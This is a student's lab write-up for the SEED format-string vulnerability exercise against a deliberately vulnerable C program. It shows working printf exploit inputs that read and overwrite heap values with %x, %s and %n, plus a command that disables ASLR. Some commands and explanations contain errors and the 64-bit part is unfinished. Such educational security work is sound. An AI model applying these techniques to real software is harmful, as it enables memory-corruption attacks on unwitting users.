Format String Vulnerability Lab

http://www.cis.syr.edu/~wedu/seed/Labs_12.04/Software/Format_String/

Lab1

Files:

  • Makefile

  • vul_prog.c

Summary

vul_prog.c give a malloced array secret and asked you to get the value of scret[1] and overwrite it. I can do that when this program compiled as 32 bits but there still some unsolved problems in 64 bit.

vul_prog.c give us the address of secret every times, it means that ASLR is no longer vaild.

below is the varibles memory layout of vul_prog in my machine:

gcc -m32 -z execstack -fno-stack-protector vul_prog.c -o vul_prog.out
sizeof(int) 4
userinput 0xffc6131c
secret 0xffc61314
int_input 0xffc61310
a 0xffc6130c
b 0xffc61308
c 0xffc61304
d 0xffc6133e
The variable secret's address is 0xffc61318 (on stack)
The variable secret's value is 0x 804a410 (on heap)
secret[0]'s address is 0x 804a410 (on heap)
secret[1]'s address is 0x 804a414 (on heap)
Please enter a decimal integer
...
Please enter a string
...
The original secrets: 0x44 -- 0x55
The new secrets:      0x44 -- 0x55

Doubt: I don't know why there are 8 bytes between ``user_input`` and
``int_input``

Access varible

printf("Please enter a decimal integer\n");
scanf("%d", &int_input);  /* getting an input from user */
printf("Please enter a string\n");
scanf("%s", user_input); /* getting a string from user */

/* Vulnerable place */
printf(user_input);
printf("\n");

As you see, printf print a user-input string without any parameter (IT IS DANGREOUS), we can use it to access varible on stack.

first, find the location of int_input:

$ make
$ python -c "print('57005'); print('%x-'*20)" | ./vul_prog.out | grep dead
...
ffa49ddc-ffa49dc8-ffa49dc4-ffa49dfe-1-c2-f75b21c3-ffa49dfe-dead-804b010-252d7825- ...
                                                           ^^^^ ^^^^^^^
...

57005 = 0xdead

so we can access int_input by input string '%x'*9, and secret can be accessd by '%x'*10.

How to get the value of scret[0]?

$ python -c "print('57005'); print('%x-'*9 + '%s')" | ./vul_prog.out
...
ffd6f1fc-ffd6f1e8-ffd6f1e4-ffd6f21e-1-c2-f76061c3-ffd6f21e-dead-D
                                                                ^
...

hex(ord('D')) is 0x44, the vaule of secret[0].

How to get the value of scret[1]?

We can control the value of int_input, and we know the address of secret[1] (from the output of program), more convience, we can close ASLR so that we don’t need to input the variable address everytime.

$ su -c 'echo 0 > /proc/sys/kernel/randomize_va_space'

randomize\_va\_space values

1. Disable ASLR. This setting is applied if the kernel is booted
   with the norandmaps boot parameter
2. Randomize the positions of the stack, virtual dynamic shared
   object (VDSO) page, and shared memory regions. The base address
   of the data segment is located immediately after the end of the
   executable code segment
3. Randomize the positions of the stack, VDSO page, shared memory
   regions, and the data segment. This is the default setting.

Address of secret[1] is 0x804a414, converts to decimal is 134521876:

$ python -c "print('134521876'); print('%x-'*8 + '%s')" | ./vul_prog.out
...
ffc6131c-ffc61308-ffc61304-ffc6133e-1-c2-f75921c3-ffc6133e-U
                                                           ^
...

hex(ord('U')) is 0x55, the vaule of secret[1].

Overwrite varible

%n: Nothing printed. The corresponding argument must be a pointer to a signed int. The number of characters written so far is stored in the pointed location.

Use %n write a vaule to scret[1]:

$ python -c "print('134521876'); print('%x-'*8 + '%n')" | ./vul_prog.out
...
ff9efafc-ff9efae8-ff9efae4-ff9efb1e-1-c2-f76671c3-ff9efb1e-
The original secrets: 0x44 -- 0x55
The new secrets:      0x44 -- 0x3b
                              ^^^^

secret[1] has changed to 0x3b

Write a arbitrary (?) value to scret[1] (by controlling the length of output string):

$ python -c "print('134521876'); print('%x-'*8 + '0'*+ '%n')" | ./vul_prog.out
...
ff868acc-ff868ab8-ff868ab4-ff868aee-1-c2-f762c1c3-ff868aee-00000000000 ...
The original secrets: 0x44 -- 0x55
The new secrets:      0x44 -- 0x233
                              ^^^^^
[1]    3824 done                              python -c "print('134521876'); print('%x-'*8 + '0'*504 + '%n')" |
       3825 segmentation fault (core dumped)  ./vul_prog.out

It seem that the value can no smaller then 0x3b, and too large string will causes segmentation fault. (is it right?)

64 bit

To get a 64bit executable, invoke make ARCH=64 vul_prog.out

Memory layout:

sizeof(int *): 8
userinput 0x7fffffffe550
secret 0x7fffffffe548
int_input 0x7fffffffe544
a 0x7fffffffe540
b 0x7fffffffe53c
c 0x7fffffffe538
d 0x7fffffffe534
The variable secret's address is 0xffffe548 (on stack)
The variable secret's value is 0x  601420 (on heap)
secret[0]'s address is 0x  601420 (on heap)
secret[1]'s address is 0x  601424 (on heap)

NOTE: size of x64 stack cell is 8 byte, sizeof(int) = 4, sizeof(int
\*) = 8
 high                low
|-----------------------|
|         secret        |
|-----------------------|
| int_input |     a     |
|-----------------------|
|     b     |     c     |
|-----------------------|
|     d     |           |
|-----------------------|
 low

Access secret[0]:

$ python -c "print('57005'); print('%016lx-'*10 + '%s')" | ./vul_prog.out
...
0000000000000001-00007ffff7dd5770-000000000000000a-0000000000400a30-0000000000000000-\
00007fffffffe6a8-0000000100000000-0000000400000000-0000000200000003-0000dead00000001-D
                                                                        ^^^^         ^
...

Overwrite secret[1]: // TODO

python -c "print('57005'); print('\x24\x14\x60\x60\x00'+ '%016lx-' * 12)" | ./vul_prog.out

Lab2

// TODO